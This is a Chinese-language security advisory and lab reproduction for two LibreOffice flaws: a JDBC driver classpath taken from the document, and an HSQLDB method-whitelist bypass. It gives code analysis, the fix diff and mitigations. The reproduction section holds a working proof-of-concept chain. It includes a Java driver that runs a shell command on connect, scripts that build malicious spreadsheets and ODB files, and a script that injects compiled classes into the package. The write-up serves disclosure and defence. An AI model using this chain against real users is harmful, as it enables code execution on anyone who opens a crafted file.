CVE-2026-104007与CVE-2026-104692 LibreOffice JDBC驱动加载与HSQLDB任意代码执行漏洞分析
本文分析LibreOffice两个RCE漏洞:CVE-2026-104007通过URLClassLoader加载恶意JDBC驱动执行代码;CVE-2026-104692绕过HSQLDB白名单调用任意Java方法。
一、漏洞说明
通告在 https://www.libreoffice.org/security/ 。
LibreOffice 可以通过用 Java 编写的 JDBC 驱动程序连接到数据库。电子表格可以使用数据库作为数据透视表的数据源,而描述连接的数据库文档会指定要使用的驱动程序。
驱动程序的加载位置取自数据库文档本身,因此精心构造的文档可以让 LibreOffice 加载并运行文档打开时提供的 Java 代码。这与 CVE-2026-63277 修复的问题途径不同。
在固定版本中,驱动程序位置仅取自用户的驱动程序配置,并且源是由 URL 命名的数据库文档的透视表仅在用户允许更新链接后才会连接

CVE-2026-104692
LibreOffice 捆绑了 HSQLDB 数据库引擎,该引擎既可以通过通用的 JDBC 数据库驱动程序使用,也可以通过对嵌入式数据库的支持来使用。HSQLDB 允许 SQL 语句调用 Java 方法,但仅限于允许的类。
当通过通用 JDBC 驱动程序使用 HSQLDB 时,此限制不适用,因此精心构造的文档中的 SQL 可以调用任何 Java 方法并运行代码。
在固定版本中,无论通过何种方式访问数据库,SQL 都只能调用 HSQLDB 的内置函数。

二、基本信息
公开时间 | 2026-11-16 |
编号 | CVE-2026-104007 / CVE-2026-104692 |
威胁类型 | 打开文档即加载文档指定的 Java |
CVSS | 厂商通告没有写向量。360 的风险通告写的是 CVSS 4.0 8.5 |
利用条件 | 用户打开文档;本机 Java 可用 |
修复 commit | 26.2.7 类路径 |
三、受影响版本
厂商公告的修复版本是 26.2.7 和 26.8.2。范围是 26.2 低于 26.2.7,以及 26.8 低于 26.8.2
四、影响组件
受影响的是 LibreOffice 自带的 Base 数据库接入和 Calc 表单。表单把 form:apply-design-mode 设成 false 时,会在打开表格的过程中连接数据源。这个动作走的是表单,不走宏,宏安全对话框不会弹出来。数据源是远程 odb 时,下载和连接在同一次打开里。
五、利用条件
类路径要进 URLClassLoader,表格得用 form:datasource 指向那份 odb,odb 的 db:java-classpath 得指向实际放了 .class 的文件。这次生成文档时路径是已知的,写的就是这张 ods 的 file: 地址。odb 被过滤器导入之后,这份属性在 setPropertyInfo() 里写进数据源。26.2.6 在这里把文档路径合并进去,26.2.7 在这里删掉。
要走 CALL,驱动类得是 HSQLDB,并且 form:escape-processing="false",语句才能到 supportsJavaMethod()。只靠 connect() 时,驱动类写成文档里的那个 class 就够了,白名单插不进来。
六、环境搭建
1. 创建测试目录
mkdir C:\lo-lab\lab C:\lo-lab\payload C:\lo-lab\markers2. 下载LibreOffice
漏洞版本,存为C:\lo-lab\lo-2626.msi
修复版本,存为C:\lo-lab\lo-2627.msi
3. 下载JAVA
Java 21 JDK,存为C:\lo-lab\jdk21.zip
https://api.adoptium.net/v3/binary/latest/21/ga/windows/x64/jdk/hotspot/normal/eclipse
4. 解压 Java 和两个 LibreOffice
为什么用msiexec /a 叫"管理安装":只把程序文件解包到指定目录,不写开始菜单、不进控制面板、不碰系统注册表
tar -xf C:\lo-lab\jdk21.zip -C C:\lo-lab
ren C:\lo-lab\jdk-21* jdk21
msiexec /a C:\lo-lab\lo-2626.msi /qn TARGETDIR=C:\lo-lab\lo-2626等上面这条完全跑完再跑下面的命令
msiexec /a C:\lo-lab\lo-2627.msi /qn TARGETDIR=C:\lo-lab\lo-26275. 验证俩个版本都能运行

七、漏洞分析
表格打开时,表单的 form:datasource 进来只是个字符串属性。轮到表单建连接,才会有人拿它去要数据源
if ( !m_aDataSourceName.isEmpty() )
{
Reference< XDatabaseContext > xDatabaseContext( DatabaseContext::create(m_aContext) );
...
Reference< XDataSource > xDataSource( xDatabaseContext->getByName( m_aDataSourceName ), UNO_QUERY_THROW );
getByName 先查注册表。名字没注册过,就按 URL 处理:
/* databasecontext.cxx:604 */
OUString sURL;
if ( hasRegisteredDatabase( _rName ) )
{
sURL = getDatabaseLocation( _rName );
}
else
// interpret the name as URL
sURL = _rName;
if ( !xExistent.is() )
xExistent = loadObjectFromURL( _rName, sURL );
注册过的数据源指向用户登记的位置。没注册的名字直接当 URL 加载,这条分支不需要"允许更新链接"之类的许可,表单因此能静默拉外部 ODB。
下载和加载在 loadObjectFromURL:
/* databasecontext.cxx:273 */
::ucbhelper::Content aContent( _sURL, nullptr, comphelper::getProcessComponentContext() );
if ( !aContent.isDocument() ) // 存在性探测
throw InteractiveIOException(... IOErrorCode_NO_FILE ...);
...
Reference< XLoadable > xLoad( xModel, UNO_QUERY_THROW );
::comphelper::NamedValueCollection aArgs;
aArgs.put( u"URL"_ustr, _sURL );
aArgs.put( u"MacroExecutionMode"_ustr, MacroExecMode::USE_CONFIG );
... // XLoadable::load,把 ODB 当文档加载
取下来的 ODB 由 ODBFilter 解析。db:java-classpath 属性在这里改名成 JavaDriverClassPath,塞进 Info:
/* xmlDataSource.cxx:144 */
case XML_JAVA_CLASSPATH:
aProperty.Name = "JavaDriverClassPath";
break;
...
if ( !aProperty.Name.isEmpty() )
{
...
rImport.addInfo(aProperty);
}
db:data-source-setting name="JavaDriverClassPath" 那条路也走 addInfo。在 C++ 内部是同一个 Info 序列,所以修复在下游切一刀,两种载体一起断。官方回归测试的样例把两种载体都带上,断言的是合流以后的状态。
合流点在 setPropertyInfo。整个 dbaccess 里,两个 tag 的差异只有这一处:
void ODBFilter::setPropertyInfo()
{
...
Sequence<PropertyValue> aInfo;
if ( !m_aInfoSequence.empty() )
aInfo = comphelper::containerToSequence(m_aInfoSequence);
- aDataSourceSettings.merge( ::comphelper::NamedValueCollection( aInfo ), true );
+ ::comphelper::NamedValueCollection aDocumentSettings( aInfo );
+ // The Java class path of a driver and the Java system properties come from the driver
+ // configuration, not the document.
+ aDocumentSettings.remove( u"JavaDriverClassPath"_ustr );
+ aDocumentSettings.remove( u"SystemProperties"_ustr );
+ // CreateDatabase asks the driver for a new database, which only the user does from the UI.
+ aDocumentSettings.remove( u"CreateDatabase"_ustr );
+ aDataSourceSettings.merge( aDocumentSettings, true );
}八、漏洞复现
触发流程

构建POC
Marker.java
package lab;
import java.io.File;
import java.io.FileOutputStream;
import java.sql.Connection;
import java.sql.Driver;
import java.sql.DriverPropertyInfo;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Properties;
import java.util.logging.Logger;
/** PoC JDBC driver: marker only, no shell, writes confined to C:\lo-lab\markers */
public class Marker implements Driver {
public static final String PREFIX = "jdbc:lab:";
public static final String MARKER_DIR = "C:\\lo-lab\\markers";
static {
try { java.sql.DriverManager.registerDriver(new Marker()); } catch (Throwable t) {}
}
public Connection connect(String url, Properties info) throws SQLException {
if (url != null && url.startsWith(PREFIX)) {
write(url.substring(PREFIX.length()));
}
return null; // 不提供真实连接:标记写出即达成本轮目的
}
public boolean acceptsURL(String url) { return url != null && url.startsWith(PREFIX); }
public DriverPropertyInfo[] getPropertyInfo(String u, Properties p) { return new DriverPropertyInfo[0]; }
public int getMajorVersion() { return 1; }
public int getMinorVersion() { return 0; }
public boolean jdbcCompliant() { return false; }
public Logger getParentLogger() throws SQLFeatureNotSupportedException { throw new SQLFeatureNotSupportedException(); }
/** HSQLDB CALL 轮入口: CALL "lab.Marker.mark"('<path>') */
public static void mark(String path) { write(path); }
static void write(String path) {
try {
File f = new File(path).getCanonicalFile();
File dir = new File(MARKER_DIR).getCanonicalFile();
String p = f.getPath(), d = dir.getPath();
if (!p.startsWith(d + File.separatorChar)) return; // 只允许 markers 目录内
try (FileOutputStream o = new FileOutputStream(f)) {
o.write("marker\n".getBytes("UTF-8")); // 7 字节,与原实验一致
}
} catch (Throwable t) { /* 静默:不改变宿主行为 */ }
}
}
Probe.java
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** 对照两版 hsqldb.jar:accessibleJavaMethodNames 与 supportsJavaMethod() 的行为 */
public class Probe {
public static void main(String[] args) throws Exception {
Class<?> c = Class.forName("org.hsqldb.persist.HsqlDatabaseProperties");
Method m = c.getMethod("supportsJavaMethod", String.class);
Field f = c.getDeclaredField("accessibleJavaMethodNames");
f.setAccessible(true);
System.out.println("accessibleJavaMethodNames=" + f.get(null));
Object r = m.invoke(null, args[0]);
System.out.println("supportsJavaMethod(" + args[0] + ")=" + r);
}
}
RceProof.java
package lab;
import java.io.File;
import java.io.FileOutputStream;
import java.net.InetAddress;
import java.sql.Connection;
import java.sql.Driver;
import java.sql.DriverPropertyInfo;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Properties;
import java.util.logging.Logger;
/** RCE 一锤定音轮:connect() 触发 Runtime.exec 跑 whoami,输出限定在 markers 目录。
证据文件两段:cmd 原生输出(> 重定向)+ Java 侧追加行 —— 同一文件同时证明
“操作系统命令被执行”与“Java 代码在 LO 的 JVM 里运行”。 */
public class RceProof implements Driver {
public static final String PREFIX = "jdbc:lab:";
public Connection connect(String url, Properties info) throws SQLException {
if (url != null && url.startsWith(PREFIX)) {
try {
Process p = Runtime.getRuntime().exec(new String[]{
"cmd", "/c", "whoami>C:\\lo-lab\\markers\\rce-proof.txt"});
p.waitFor();
try (FileOutputStream o = new FileOutputStream(
new File("C:\\lo-lab\\markers\\rce-proof.txt"), true)) {
o.write(String.format(
"--- appended from Java: user=%s host=%s jvm=%s%n",
System.getProperty("user.name"),
InetAddress.getLocalHost().getHostName(),
System.getProperty("java.vm.name")).getBytes("UTF-8"));
}
} catch (Throwable t) { /* silent */ }
}
return null;
}
public boolean acceptsURL(String url) { return url != null && url.startsWith(PREFIX); }
public DriverPropertyInfo[] getPropertyInfo(String u, Properties p) { return new DriverPropertyInfo[0]; }
public int getMajorVersion() { return 1; }
public int getMinorVersion() { return 0; }
public boolean jdbcCompliant() { return false; }
public Logger getParentLogger() throws SQLFeatureNotSupportedException { throw new SQLFeatureNotSupportedException(); }
}
make_docs.py
# -*- coding: utf-8 -*-
"""Author PoC documents natively via LibreOffice UNO (run with LO's bundled python).
Connects to headless soffice on 127.0.0.1:2002 (started by make_all.cmd).
Creates per (tag, mode):
payload/poc-<tag>-<mode>.ods form with URL datasource -> payload/odb-<tag>-<mode>.odb
payload/odb-<tag>-<mode>.odb created via DataSource API (or kept if hand-built loads)
Usage: python.exe make_docs.py # author ods for all 4 combos
python.exe make_docs.py loadtest # only try loading hand-built odb
"""
import sys, uno
from com.sun.star.beans import PropertyValue
DSBASE = "http://127.0.0.1:18751"
PDIR = "C:/lo-lab/payload"
MODE = sys.argv[1] if len(sys.argv) > 1 else "author"
def pv(name, value):
p = PropertyValue(); p.Name = name; p.Value = value; return p
def connect(retries=30, delay=2):
import time
ctxLocal = uno.getComponentContext()
resolver = ctxLocal.ServiceManager.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", ctxLocal)
last = None
for _ in range(retries):
try:
return resolver.resolve(
"uno:socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext")
except Exception as e:
last = e
time.sleep(delay)
raise last
ctx = connect()
smgr = ctx.ServiceManager
desktop = smgr.createInstanceWithContext("com.sun.star.frame.Desktop", ctx)
def loadtest_odb():
try:
doc = desktop.loadComponentFromURL(
"file:///" + PDIR + "/odb-2626-connect.odb", "_blank", 0,
(pv("Hidden", True), pv("ReadOnly", True)))
print("HANDMADE_ODB_LOAD=OK")
try:
doc.dispose()
except Exception:
pass
return True
except Exception as e:
print("HANDMADE_ODB_LOAD=FAIL", repr(e)[:200])
return False
def make_odb(tag, mode):
"""Create fresh odb via DataSource API and storeAsURL."""
marker = f"C:/lo-lab/markers/marker-{tag}-{mode}.txt"
if mode == "connect":
url, drv = "jdbc:lab:" + marker, "lab.Marker"
else:
url, drv = "jdbc:hsqldb:mem:lab", "org.hsqldb.jdbcDriver"
classpath = f"file:///{PDIR}/poc-{tag}-{mode}.ods"
ds = smgr.createInstanceWithContext("com.sun.star.sdb.DataSource", ctx)
ds.URL = url
ds.Info = uno.Any("[]com.sun.star.beans.PropertyValue", (
pv("JavaDriverClass", drv),
pv("JavaDriverClassPath", classpath),
pv("ParameterNameSubstitution", False),
))
doc = ds.DatabaseDocument
out = f"file:///{PDIR}/odb-{tag}-{mode}.odb"
doc.storeAsURL(out, ())
doc.close()
print("ODB_STORED", out)
def make_ods(tag, mode):
marker = f"C:/lo-lab/markers/marker-{tag}-{mode}.txt"
doc = desktop.loadComponentFromURL(
"private:factory/scalc", "_blank", 0, (pv("Hidden", True),))
sheet = doc.Sheets.getByIndex(0)
dp = sheet.DrawPage
forms = dp.Forms
form = doc.createInstance("com.sun.star.form.component.Form")
form.Name = "poc"
form.DataSourceName = f"{DSBASE}/odb-{tag}-{mode}.odb"
if mode in ("connect", "rce"):
form.CommandType = 0 # TABLE
form.Command = "T"
form.EscapeProcessing = True
else:
form.CommandType = 2 # COMMAND (raw SQL)
form.Command = f"CALL \"lab.Marker.mark\"('{marker}')"
form.EscapeProcessing = False
lb = doc.createInstance("com.sun.star.form.component.ListBox")
lb.Name = "lb1"
form.insertByName("lb1", lb)
forms.insertByName("poc", form)
shape = doc.createInstance("com.sun.star.drawing.ControlShape")
from com.sun.star.awt import Point, Size
shape.Position = Point(1000, 1000)
shape.Size = Size(8000, 1000)
shape.setControl(lb)
dp.add(shape)
out = f"file:///{PDIR}/poc-{tag}-{mode}.ods"
doc.storeAsURL(out, (pv("FilterName", "calc8"),))
doc.close(False)
print("ODS_STORED", out)
if MODE == "loadtest":
loadtest_odb()
else:
handmade_ok = loadtest_odb()
for tag in ("2626", "2627"):
for m in ("connect", "call", "rce"):
if not handmade_ok:
make_odb(tag, m)
make_ods(tag, m)
server.py
一个http server服务器
# -*- coding: utf-8 -*-
"""Serve payload dir on 127.0.0.1:18751 (replacement for the original http.server)."""
import http.server, socketserver, os, sys, datetime
ROOT = r"C:\lo-lab\payload"
PORT = 18751
class H(http.server.SimpleHTTPRequestHandler):
def log_message(self, fmt, *args):
line = "%s [%s] %s" % (datetime.datetime.now().strftime("%H:%M:%S"), self.address_string(), fmt % args)
print(line, flush=True)
with open(r"C:\lo-lab\http.log", "a", encoding="utf-8") as f:
f.write(line + "\n")
def do_OPTIONS(self): # LO may probe; original lab also returned 501 here
self.send_error(501, "Unsupported method")
def __init__(self, *a, **kw):
os.chdir(ROOT)
super().__init__(*a, **kw)
socketserver.ThreadingTCPServer.allow_reuse_address = False # Windows 下 True 会造成重复绑定
with socketserver.ThreadingTCPServer(("127.0.0.1", PORT), H) as httpd:
print(f"serving {ROOT} on 127.0.0.1:{PORT}", flush=True)
httpd.serve_forever()
生成恶意文档
1.1. 生成表格文件
先执行C:\lo-lab\lab\make_all.cmd,使用漏洞版本的LibreOffice自己的编程接口(UNO)生成4个表格文件
@echo off
rem Author documents: start payload server + headless LO socket, run UNO script, clean up
cd /d C:\lo-lab\lab
del C:\lo-lab\http.log 2>nul
start "payload" /min E:\appinstall\python116\python.exe C:\lo-lab\lab\serve.py
timeout /t 2 /nobreak >nul
start "lo" /b C:\lo-lab\lo-2626\program\soffice.com --headless --norestore --nologo --nofirststartwizard -env:UserInstallation=file:///C:/lo-lab/profile-2626 "--accept=socket,host=127.0.0.1,port=2002;urp;"
C:\lo-lab\lo-2626\program\python.exe C:\lo-lab\lab\make_docs.py %*
taskkill /f /im soffice.bin >nul 2>&1
taskkill /f /im python.exe /fi "WINDOWTITLE eq payload*" >nul 2>&1
echo AUTHOR_DONE

1.2. 生成ODB数据库配置文件
# -*- coding: utf-8 -*-
"""Rebuild ODBs for a given mode (default call; connect for RCE-proof round)."""
import sys, os
sys.path.insert(0, r"C:\lo-lab\lab")
MODE = sys.argv[1] if len(sys.argv) > 1 else "call"
for tag in ("2626", "2627"):
sys.argv = ["build_doc.py", tag, MODE]
src = open(r"C:\lo-lab\lab\build_doc.py", encoding="utf-8").read()
g = {"__name__": "build_doc_module", "__file__": r"C:\lo-lab\lab\build_doc.py"}
exec(compile(src.split('if __name__')[0], "build_doc.py", "exec"), g)
os.makedirs(g["OUT"], exist_ok=True)
print("rebuilt:", g["build_odb"]())
E:\appinstall\python116\python.exe C:\lo-lab\lab\rebuild_odb.py
1.3. 打包成表格压缩包
同时在包的 manifest 清单里登记,把编译好的 lab\*.class 塞进 4 个表格压缩包里
# -*- coding: utf-8 -*-
"""Inject lab/*.class into every poc-*.ods AND declare them in META-INF/manifest.xml
(LO rejects package entries that are not listed in the manifest)."""
import glob, os, zipfile
CLASSES = {}
for f in glob.glob(r"C:\lo-lab\lab\classes\lab\*.class"):
CLASSES["lab/" + os.path.basename(f)] = open(f, "rb").read()
ENTRIES = "".join(
'<manifest:file-entry manifest:full-path="%s" manifest:media-type="application/octet-stream"/>' % name
for name in CLASSES)
for src in glob.glob(r"C:\lo-lab\payload\poc-*.ods"):
tmp = src + ".new"
with zipfile.ZipFile(src) as oz, zipfile.ZipFile(tmp, "w") as nz:
for info in oz.infolist():
if info.filename in CLASSES: # 幂等:旧的 lab/*.class 条目跳过,统一重写
continue
data = oz.read(info.filename)
if info.filename == "META-INF/manifest.xml":
text = data.decode("utf-8")
for name in CLASSES:
if name not in text:
text = text.replace("</manifest:manifest>", ENTRIES + "</manifest:manifest>")
data = text.encode("utf-8")
nz.writestr(info, data)
for name, cls in CLASSES.items():
nz.writestr(name, cls)
os.replace(tmp, src)
print("injected+manifested:", src, sorted(CLASSES))
E:\appinstall\python116\python.exe C:\lo-lab\lab\inject.py
CVE-2026-104007
双击运行soffice.com将会启动LibreOffice

打开文件

成功执行命令

CVE-2026-104692

九、修复措施
升到 26.2.7 或 26.8.2。类路径在 setPropertyInfo() 里删,名单在 HSQLDB 的静态字段里改,两处都在这两个版本里。26.8.2 上的三个提交和 26.2.7 不是同一个 SHA,基本信息表里按分支列开了。
暂时不能升级、又不用 Java 连数据库时,把 LibreOffice 的 Java 关掉。JDBC 驱动加载不起来,connect() 和 CALL 都走不到。Base 里依赖 Java 的功能会一起停用。
26.2.7.3 仍会按 form:datasource 去 GET odb。日志里只有下载,对应的 class 没有被加载
参考
26.2.6.2 导入时把文档设置合并进驱动配置:https://github.com/LibreOffice/core/blob/libreoffice-26.2.6.2/dbaccess/source/filter/xml/xmlfilter.cxx
26.2.6.2 把
db:java-classpath收成JavaDriverClassPath:https://github.com/LibreOffice/core/blob/libreoffice-26.2.6.2/dbaccess/source/filter/xml/xmlDataSource.cxx26.2.7.3
construct()仍优先使用 info 里的类路径:https://github.com/LibreOffice/core/blob/libreoffice-26.2.7.3/connectivity/source/drivers/jdbc/JConnection.cxx26.2.7 去掉文档中的 JavaDriverClassPath:https://github.com/LibreOffice/core/commit/85e3ff48ac9b067a5455b35a4024723a0884c301
26.2.7 去掉文档中的 SystemProperties:https://github.com/LibreOffice/core/commit/a80a37b8dc4cc89a1f45ba456d58ee441786372c
26.2.7 把未设置的 HSQLDB 方法名单当成空名单:https://github.com/LibreOffice/core/commit/527a74907d7b76b354ff8be025ca6d22d1a3e874
26.8.2 类路径:https://github.com/LibreOffice/core/commit/4146790943d892df679576b76410d76405fac750
26.8.2 SystemProperties:https://github.com/LibreOffice/core/commit/5985a323645c8a153c1ae0a9becc85eebd128911
26.8.2 HSQLDB:https://github.com/LibreOffice/core/commit/90c3fd97cd4cceaeff02671f4706713069be5a79